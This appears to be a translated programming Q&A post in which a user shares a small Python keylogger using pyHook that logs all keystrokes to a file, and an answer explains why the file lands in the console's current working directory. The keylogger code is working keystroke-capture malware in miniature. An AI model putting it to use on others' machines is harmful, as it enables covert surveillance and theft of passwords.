Python 带有 open('filename') 的脚本适用于 IDLE 但不适用于控制台

Python script with open('filename') works with IDLE but doesn't work in console

我正在尝试在 python 中制作这个简单的键盘记录器,当我 运行 处于 IDLE 时它工作正常,但在控制台中它不会将日志写入文件。

import pyHook, pythoncom, sys

log = ''

def OnKeyPress(event):    
    global log
    log += chr(event.Ascii)

    if event.Ascii == 27: # if user press esc
        with open('teste27.txt', 'a') as f:
            f.write(log)                
            f.close()
            sys.exit(0)


#instantiate HookManager class  
new_hook = pyHook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#Hook the keyboard 
new_hook.HookKeyboard()
#start the session 
pythoncom.PumpMessages()

为了对别人有帮助,问题中的问题需要解释一下。具有相对路径的 'open(filepath)',例如 'something.txt',将打开相对于 'current working directory' 的文件。对于简单的文件名,这意味着在当前工作目录 (CWD) 中。

当在编辑器中空闲 运行s 代码时,它使 运行s 代码所在的新进程的当前工作目录成为代码的目录。 (IDLE 进程的 CWD 被忽略。)因此,如果您正在编辑 r'C:\Users\henrique\Documents\Programas\Python\Keylogger\teste27.py',那么打开 'teste27.txt' 确实会打开 r'C:\Users\henrique\Documents\Programas\Python\Keylogger\teste27.txt '.

控制台是一个带有 CWD 的 运行ning 程序。对于大多数控制台,默认提示包括 CWD。当您从控制台 运行 一个程序时,它会继承 CWD amd 运行s 与该 CWD 除非并且直到程序更改它。一定是您没有将 r'C:\Users\henrique\Documents\Programas\Python\Keylogger\' 设为控制台的 CWD,而是通过提供程序路径 运行 将您的程序设为其他地方:"python somepath/teste27.py"。你应该在你启动程序的任何 CWD 中找到一个杂散的 'teste27.txt'。

您可以避免使用正斜杠将 'r' 添加到路径。 'C:/Users/henrique/Documents/Programas/Python/Keylogger/teste27.txt'。唯一一次必须在 Windows 上使用反斜杠的情况是在控制台中,当您为程序指定路径时 运行.

当您在一个目录中打开多个文件时,另一种有用的解决方案是将该目录设为 CWD。例如,

import os
os.chdir('C:/Users/henrique/Documents/Programas/Python/Keylogger')

那么 'open(texte27.txt)' 就如你所愿。